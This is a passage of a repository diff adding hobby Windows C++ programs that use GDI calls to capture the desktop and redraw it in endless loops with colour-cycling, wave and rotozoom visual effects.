| 49 |
+
return RGB(red, green, blue);
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
int main() {
|
| 53 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 54 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 55 |
+
double angle = 0.0;
|
| 56 |
+
double zoom = 1.0;
|
| 57 |
+
|
| 58 |
+
DWORD* data = new DWORD[4 * x * y];
|
| 59 |
+
HDC hdc = GetDC(0);
|
| 60 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 61 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 62 |
+
SelectObject(mdc, bmp);
|
| 63 |
+
|
| 64 |
+
while (true) {
|
| 65 |
+
StretchBlt(mdc, 0, 0, x, y, hdc, 0, 0, x, y, SRCCOPY);
|
| 66 |
+
GetBitmapBits(bmp, 4 * x * y, data);
|
| 67 |
+
|
| 68 |
+
for (int x2 = 0; x2 < x; x2++) {
|
| 69 |
+
for (int y2 = 0; y2 < y; y2++) {
|
| 70 |
+
int cx = x2 - (x / 2);
|
| 71 |
+
int cy = y2 - (y / 2);
|
| 72 |
+
|
| 73 |
+
int zx = (int)((cx * cos(angle) - cy * sin(angle)) / zoom);
|
| 74 |
+
int zy = (int)((cx * sin(angle) + cy * cos(angle)) / zoom);
|
| 75 |
+
|
| 76 |
+
data[y2 * x + x2] = COLORHSL((sqrt(zx * zx ^ zy * zy)) + (sqrt(zx * zx + zy * zy)));
|
| 77 |
+
}
|
| 78 |
+
}
|
| 79 |
+
|
| 80 |
+
SetBitmapBits(bmp, 4 * x * y, data);
|
| 81 |
+
StretchBlt(hdc, 0, 0, x, y, mdc, 0, 0, x, y, SRCCOPY);
|
| 82 |
+
|
| 83 |
+
Sleep(10);
|
| 84 |
+
|
| 85 |
+
zoom += 0.01;
|
| 86 |
+
angle += 0.01;
|
| 87 |
+
}
|
| 88 |
+
|
| 89 |
+
return 0;
|
| 90 |
+
}
|
src/GDI-effects-main/hslshader1.cpp
ADDED
|
@@ -0,0 +1,99 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <MATH.h>
|
| 3 |
+
|
| 4 |
+
COLORREF COLORHSL(int length) {
|
| 5 |
+
double h = fmod(length, 360.0);
|
| 6 |
+
double s = 1.0;
|
| 7 |
+
double l = 0.5;
|
| 8 |
+
|
| 9 |
+
double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
|
| 10 |
+
double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
|
| 11 |
+
double m = l - c / 2.0;
|
| 12 |
+
|
| 13 |
+
double r1, g1, b1;
|
| 14 |
+
if (h < 60) {
|
| 15 |
+
r1 = c;
|
| 16 |
+
g1 = x;
|
| 17 |
+
b1 = 0;
|
| 18 |
+
}
|
| 19 |
+
else if (h < 120) {
|
| 20 |
+
r1 = x;
|
| 21 |
+
g1 = c;
|
| 22 |
+
b1 = 0;
|
| 23 |
+
}
|
| 24 |
+
else if (h < 180) {
|
| 25 |
+
r1 = 0;
|
| 26 |
+
g1 = c;
|
| 27 |
+
b1 = x;
|
| 28 |
+
}
|
| 29 |
+
else if (h < 240) {
|
| 30 |
+
r1 = 0;
|
| 31 |
+
g1 = x;
|
| 32 |
+
b1 = c;
|
| 33 |
+
}
|
| 34 |
+
else if (h < 300) {
|
| 35 |
+
r1 = x;
|
| 36 |
+
g1 = 0;
|
| 37 |
+
b1 = c;
|
| 38 |
+
}
|
| 39 |
+
else {
|
| 40 |
+
r1 = c;
|
| 41 |
+
g1 = 0;
|
| 42 |
+
b1 = x;
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
int red = static_cast<int>((r1 + m) * 255);
|
| 46 |
+
int green = static_cast<int>((g1 + m) * 255);
|
| 47 |
+
int blue = static_cast<int>((b1 + m) * 255);
|
| 48 |
+
|
| 49 |
+
return RGB(red, green, blue);
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
typedef union COLOR {
|
| 53 |
+
COLORREF rgb;
|
| 54 |
+
struct {
|
| 55 |
+
BYTE blue;
|
| 56 |
+
BYTE green;
|
| 57 |
+
BYTE red;
|
| 58 |
+
};
|
| 59 |
+
} COLOR;
|
| 60 |
+
|
| 61 |
+
DWORD WINAPI shader4(LPVOID lpParam) {
|
| 62 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 63 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 64 |
+
int j = 1;
|
| 65 |
+
int c = 0;
|
| 66 |
+
|
| 67 |
+
COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
|
| 68 |
+
HDC hdc = GetDC(0);
|
| 69 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 70 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 71 |
+
SelectObject(mdc, bmp);
|
| 72 |
+
|
| 73 |
+
while (true) {
|
| 74 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 75 |
+
GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 76 |
+
|
| 77 |
+
for (int x2 = 0; x2 < x; x2++) {
|
| 78 |
+
for (int y2 = 0; y2 < y; y2++) {
|
| 79 |
+
int j = c * 4;
|
| 80 |
+
|
| 81 |
+
int wave = (int)(j + (j * cbrt(((x2 * x2) - (y2 * y2)) / 64)));
|
| 82 |
+
|
| 83 |
+
data[y2 * x + x2].rgb = COLORHSL((x * y) + wave);
|
| 84 |
+
}
|
| 85 |
+
}
|
| 86 |
+
c++;
|
| 87 |
+
|
| 88 |
+
SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 89 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 90 |
+
|
| 91 |
+
Sleep(10);
|
| 92 |
+
}
|
| 93 |
+
}
|
| 94 |
+
|
| 95 |
+
int main() {
|
| 96 |
+
CreateThread(0, 0, shader4, 0, 0, 0);
|
| 97 |
+
Sleep(-1);
|
| 98 |
+
return 0;
|
| 99 |
+
}
|
src/GDI-effects-main/hsvrotozoomer.cpp
ADDED
|
@@ -0,0 +1,87 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
//function made by me (raduminecraft) and modified by friesandlettuce
|
| 5 |
+
COLORREF COLORHSV(int HSV) {
|
| 6 |
+
double h = fmod(HSV, 360.0);
|
| 7 |
+
double s = 1.0;
|
| 8 |
+
double l = 0.5;
|
| 9 |
+
double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
|
| 10 |
+
double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
|
| 11 |
+
double m = l - c / 2.0;
|
| 12 |
+
double r1, g1, b1;
|
| 13 |
+
if (h < 60) {
|
| 14 |
+
r1 = c;
|
| 15 |
+
g1 = x;
|
| 16 |
+
b1 = c;
|
| 17 |
+
}
|
| 18 |
+
else if (h < 120) {
|
| 19 |
+
r1 = x;
|
| 20 |
+
g1 = c;
|
| 21 |
+
b1 = x;
|
| 22 |
+
}
|
| 23 |
+
else if (h < 190) {
|
| 24 |
+
r1 = x;
|
| 25 |
+
g1 = c;
|
| 26 |
+
b1 = x;
|
| 27 |
+
}
|
| 28 |
+
else if (h < 250) {
|
| 29 |
+
r1 = c;
|
| 30 |
+
g1 = x;
|
| 31 |
+
b1 = c;
|
| 32 |
+
}
|
| 33 |
+
else if (h < 200) {
|
| 34 |
+
r1 = x;
|
| 35 |
+
g1 = 0;
|
| 36 |
+
b1 = c;
|
| 37 |
+
}
|
| 38 |
+
else {
|
| 39 |
+
r1 = c;
|
| 40 |
+
g1 = x;
|
| 41 |
+
b1 = x;
|
| 42 |
+
}
|
| 43 |
+
int red = static_cast<int>((r1 + m) * 255);
|
| 44 |
+
int green = static_cast<int>((g1 + m) * 255);
|
| 45 |
+
int blue = static_cast<int>((b1 + m) * 255);
|
| 46 |
+
return RGB(red, green, blue);
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
int main() {
|
| 50 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 51 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 52 |
+
double angle = 0.0;
|
| 53 |
+
double zoom = 1.0;
|
| 54 |
+
|
| 55 |
+
DWORD* data = new DWORD[4 * x * y];
|
| 56 |
+
HDC hdc = GetDC(0);
|
| 57 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 58 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 59 |
+
SelectObject(mdc, bmp);
|
| 60 |
+
|
| 61 |
+
while (true) {
|
| 62 |
+
StretchBlt(mdc, 0, 0, x, y, hdc, 0, 0, x, y, SRCCOPY);
|
| 63 |
+
GetBitmapBits(bmp, 4 * x * y, data);
|
| 64 |
+
|
| 65 |
+
for (int x2 = 0; x2 < x; x2++) {
|
| 66 |
+
for (int y2 = 0; y2 < y; y2++) {
|
| 67 |
+
int cx = x2 - (x / 2);
|
| 68 |
+
int cy = y2 - (y / 2);
|
| 69 |
+
|
| 70 |
+
int zx = (int)((cx * cos(angle) - cy * sin(angle)) / zoom);
|
| 71 |
+
int zy = (int)((cx * sin(angle) + cy * cos(angle)) / zoom);
|
| 72 |
+
|
| 73 |
+
data[y2 * x + x2] = COLORHSV((sqrt(zx * zx ^ zy * zy)) + (sqrt(zx * zx + zy * zy)));
|
| 74 |
+
}
|
| 75 |
+
}
|
| 76 |
+
|
| 77 |
+
SetBitmapBits(bmp, 4 * x * y, data);
|
| 78 |
+
StretchBlt(hdc, 0, 0, x, y, mdc, 0, 0, x, y, SRCCOPY);
|
| 79 |
+
|
| 80 |
+
Sleep(10);
|
| 81 |
+
|
| 82 |
+
zoom += 0.01;
|
| 83 |
+
angle += 0.01;
|
| 84 |
+
}
|
| 85 |
+
|
| 86 |
+
return 0;
|
| 87 |
+
}
|
src/GDI-effects-main/rgbshader.cpp
ADDED
|
@@ -0,0 +1,114 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
COLORREF COLORHSL(int length) {
|
| 5 |
+
double h = fmod(length, 360.0);
|
| 6 |
+
double s = 1.0;
|
| 7 |
+
double l = 0.5;
|
| 8 |
+
|
| 9 |
+
double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
|
| 10 |
+
double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
|
| 11 |
+
double m = l - c / 2.0;
|
| 12 |
+
|
| 13 |
+
double r1, g1, b1;
|
| 14 |
+
if (h < 60) {
|
| 15 |
+
r1 = c;
|
| 16 |
+
g1 = x;
|
| 17 |
+
b1 = 0;
|
| 18 |
+
}
|
| 19 |
+
else if (h < 120) {
|
| 20 |
+
r1 = x;
|
| 21 |
+
g1 = c;
|
| 22 |
+
b1 = 0;
|
| 23 |
+
}
|
| 24 |
+
else if (h < 180) {
|
| 25 |
+
r1 = 0;
|
| 26 |
+
g1 = c;
|
| 27 |
+
b1 = x;
|
| 28 |
+
}
|
| 29 |
+
else if (h < 240) {
|
| 30 |
+
r1 = 0;
|
| 31 |
+
g1 = x;
|
| 32 |
+
b1 = c;
|
| 33 |
+
}
|
| 34 |
+
else if (h < 300) {
|
| 35 |
+
r1 = x;
|
| 36 |
+
g1 = 0;
|
| 37 |
+
b1 = c;
|
| 38 |
+
}
|
| 39 |
+
else {
|
| 40 |
+
r1 = c;
|
| 41 |
+
g1 = 0;
|
| 42 |
+
b1 = x;
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
int red = static_cast<int>((r1 + m) * 255);
|
| 46 |
+
int green = static_cast<int>((g1 + m) * 255);
|
| 47 |
+
int blue = static_cast<int>((b1 + m) * 255);
|
| 48 |
+
|
| 49 |
+
return RGB(red, green, blue);
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
typedef union COLOR {
|
| 53 |
+
COLORREF rgb;
|
| 54 |
+
struct {
|
| 55 |
+
BYTE blue;
|
| 56 |
+
BYTE green;
|
| 57 |
+
BYTE red;
|
| 58 |
+
};
|
| 59 |
+
} COLOR;
|
| 60 |
+
|
| 61 |
+
double intensity = 0.0;
|
| 62 |
+
bool state = false;
|
| 63 |
+
|
| 64 |
+
double fade(double maxIntensity) {
|
| 65 |
+
if (state == false) {
|
| 66 |
+
intensity += 1.0;
|
| 67 |
+
if (intensity >= maxIntensity) {
|
| 68 |
+
state = true;
|
| 69 |
+
}
|
| 70 |
+
}
|
| 71 |
+
else {
|
| 72 |
+
intensity -= 1.0;
|
| 73 |
+
if (intensity <= 0) {
|
| 74 |
+
state = false;
|
| 75 |
+
}
|
| 76 |
+
}
|
| 77 |
+
return intensity;
|
| 78 |
+
}
|
| 79 |
+
|
| 80 |
+
DWORD WINAPI shader4(LPVOID lpParam) {
|
| 81 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 82 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 83 |
+
int r = 0;
|
| 84 |
+
double j = 1;
|
| 85 |
+
|
| 86 |
+
COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
|
| 87 |
+
HDC hdc = GetDC(0);
|
| 88 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 89 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 90 |
+
SelectObject(mdc, bmp);
|
| 91 |
+
|
| 92 |
+
while (true) {
|
| 93 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 94 |
+
GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 95 |
+
|
| 96 |
+
for (int i = 0; i < x * y; i++) {
|
| 97 |
+
int red = (data[i].red + ((i % x))) % 255;
|
| 98 |
+
int green = (data[i].green + ((i % x))) % 255;
|
| 99 |
+
int blue = (data[i].blue + ((i % x))) % 255;
|
| 100 |
+
|
| 101 |
+
data[i].rgb = COLORHSL(i / (fade(505) + 55));
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 105 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 106 |
+
|
| 107 |
+
Sleep(10);
|
| 108 |
+
}
|
| 109 |
+
}
|
| 110 |
+
|
| 111 |
+
int main() {
|
| 112 |
+
CreateThread(0, 0, shader4, 0, 0, 0);
|
| 113 |
+
Sleep(-1);
|
| 114 |
+
}
|
src/GDI-effects-main/shader.cpp
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// shader.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
| 2 |
+
//
|
| 3 |
+
|
| 4 |
+
#include <windows.h>
|
| 5 |
+
|
| 6 |
+
int main()
|
| 7 |
+
{
|
| 8 |
+
//Get screen sizes
|
| 9 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 10 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 11 |
+
int size = x * y;
|
| 12 |
+
DWORD* pixels = (DWORD*)VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
| 13 |
+
while (true) {
|
| 14 |
+
//Prepare the pixels
|
| 15 |
+
PRGBTRIPLE rgb;
|
| 16 |
+
HDC hdc = GetDC(0);
|
| 17 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 18 |
+
BITMAPINFO bmi = { 40, x, y, 1, 24 };
|
| 19 |
+
HBITMAP bitmap = CreateDIBSection(hdc, &bmi, 0, (void**)&rgb, 0, 0);
|
| 20 |
+
|
| 21 |
+
//Read the pixels
|
| 22 |
+
SelectObject(mdc, bitmap);
|
| 23 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 24 |
+
|
| 25 |
+
//Write the pixels
|
| 26 |
+
for (int i = 0; i < size; i++) {
|
| 27 |
+
rgb[i].rgbtRed += GetRValue(i) * 10;
|
| 28 |
+
rgb[i].rgbtGreen += GetGValue(i) * 10;
|
| 29 |
+
rgb[i].rgbtBlue += GetBValue(i) * 10;
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 33 |
+
Sleep(10);
|
| 34 |
+
|
| 35 |
+
//Delete objects so the program won't use more and more memory
|
| 36 |
+
ReleaseDC(0, hdc);
|
| 37 |
+
DeleteObject(bitmap);
|
| 38 |
+
DeleteObject(rgb);
|
| 39 |
+
DeleteDC(hdc);
|
| 40 |
+
DeleteDC(mdc);
|
| 41 |
+
}
|
| 42 |
+
}
|
| 43 |
+
|
| 44 |
+
// Run program: Ctrl + F5 or Debug > Start Without Debugging menu
|
| 45 |
+
// Debug program: F5 or Debug > Start Debugging menu
|
| 46 |
+
|
| 47 |
+
// Tips for Getting Started:
|
| 48 |
+
// 1. Use the Solution Explorer window to add/manage files
|
| 49 |
+
// 2. Use the Team Explorer window to connect to source control
|
| 50 |
+
// 3. Use the Output window to see build output and other messages
|
| 51 |
+
// 4. Use the Error List window to view errors
|
| 52 |
+
// 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project
|
| 53 |
+
// 6. In the future, to open this project again, go to File > Open > Project and select the .sln file
|
src/GDI-effects-main/shader2.cpp
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
typedef union COLOR {
|
| 5 |
+
COLORREF rgb;
|
| 6 |
+
struct {
|
| 7 |
+
BYTE blue;
|
| 8 |
+
BYTE green;
|
| 9 |
+
BYTE red;
|
| 10 |
+
};
|
| 11 |
+
} COLOR;
|
| 12 |
+
|
| 13 |
+
DWORD WINAPI shader7(LPVOID lpParam) {
|
| 14 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 15 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 16 |
+
int j = 1;
|
| 17 |
+
int c = 0;
|
| 18 |
+
|
| 19 |
+
COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
|
| 20 |
+
HDC hdc = GetDC(0);
|
| 21 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 22 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 23 |
+
SelectObject(mdc, bmp);
|
| 24 |
+
|
| 25 |
+
while (true) {
|
| 26 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 27 |
+
GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 28 |
+
|
| 29 |
+
for (int x2 = 0; x2 < x; x2++) {
|
| 30 |
+
for (int y2 = 0; y2 < y; y2++) {
|
| 31 |
+
int j = c * 4;
|
| 32 |
+
|
| 33 |
+
int wave = (int)(j + (j * tan((x2 * x2) + (y2 * y2)) / 64));
|
| 34 |
+
|
| 35 |
+
data[y2 * x + x2].rgb += wave;
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
c++;
|
| 39 |
+
|
| 40 |
+
SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 41 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 42 |
+
|
| 43 |
+
Sleep(10);
|
| 44 |
+
}
|
| 45 |
+
}
|
| 46 |
+
|
| 47 |
+
int main() {
|
| 48 |
+
CreateThread(0, 0, shader7, 0, 0, 0);
|
| 49 |
+
Sleep(-1);
|
| 50 |
+
}
|
src/GDI-effects-main/shader3.cpp
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
typedef union COLOR {
|
| 5 |
+
COLORREF rgb;
|
| 6 |
+
struct {
|
| 7 |
+
BYTE blue;
|
| 8 |
+
BYTE green;
|
| 9 |
+
BYTE red;
|
| 10 |
+
};
|
| 11 |
+
} COLOR;
|
| 12 |
+
|
| 13 |
+
DWORD WINAPI shader7(LPVOID lpParam) {
|
| 14 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 15 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 16 |
+
int j = 1;
|
| 17 |
+
int c = 0;
|
| 18 |
+
|
| 19 |
+
COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
|
| 20 |
+
HDC hdc = GetDC(0);
|
| 21 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 22 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 23 |
+
SelectObject(mdc, bmp);
|
| 24 |
+
|
| 25 |
+
while (true) {
|
| 26 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 27 |
+
GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 28 |
+
|
| 29 |
+
for (int x2 = 0; x2 < x; x2++) {
|
| 30 |
+
for (int y2 = 0; y2 < y; y2++) {
|
| 31 |
+
int j = c * 4;
|
| 32 |
+
|
| 33 |
+
int wave = (int)(j + (j * ((x2 * x2) + (y2 * y2)) / 64));
|
| 34 |
+
|
| 35 |
+
data[y2 * x + x2].rgb += wave;
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
c++;
|
| 39 |
+
|
| 40 |
+
SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 41 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 42 |
+
|
| 43 |
+
Sleep(10);
|
| 44 |
+
}
|
| 45 |
+
}
|
| 46 |
+
|
| 47 |
+
int main() {
|
| 48 |
+
CreateThread(0, 0, shader7, 0, 0, 0);
|
| 49 |
+
Sleep(-1);
|
| 50 |
+
}
|
src/GDI-effects-main/shader4.cpp
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
typedef union COLOR {
|
| 5 |
+
COLORREF rgb;
|
| 6 |
+
struct {
|
| 7 |
+
BYTE blue;
|
| 8 |
+
BYTE green;
|
| 9 |
+
BYTE red;
|
| 10 |
+
};
|
| 11 |
+
} COLOR;
|
| 12 |
+
|
| 13 |
+
double intensity = 0.0;
|
| 14 |
+
bool state = false;
|
| 15 |
+
|
| 16 |
+
double fade(double maxIntensity) {
|
| 17 |
+
if (state == false) {
|
| 18 |
+
intensity += 1.0;
|
| 19 |
+
if (intensity >= maxIntensity) {
|
| 20 |
+
state = true;
|
| 21 |
+
}
|
| 22 |
+
}
|
| 23 |
+
else {
|
| 24 |
+
intensity -= 1.0;
|
| 25 |
+
if (intensity <= 0) {
|
| 26 |
+
state = false;
|
| 27 |
+
}
|
| 28 |
+
}
|
| 29 |
+
return intensity;
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
DWORD WINAPI shader3b(LPVOID lpParam) {
|
| 33 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 34 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 35 |
+
int r = 0;
|
| 36 |
+
|
| 37 |
+
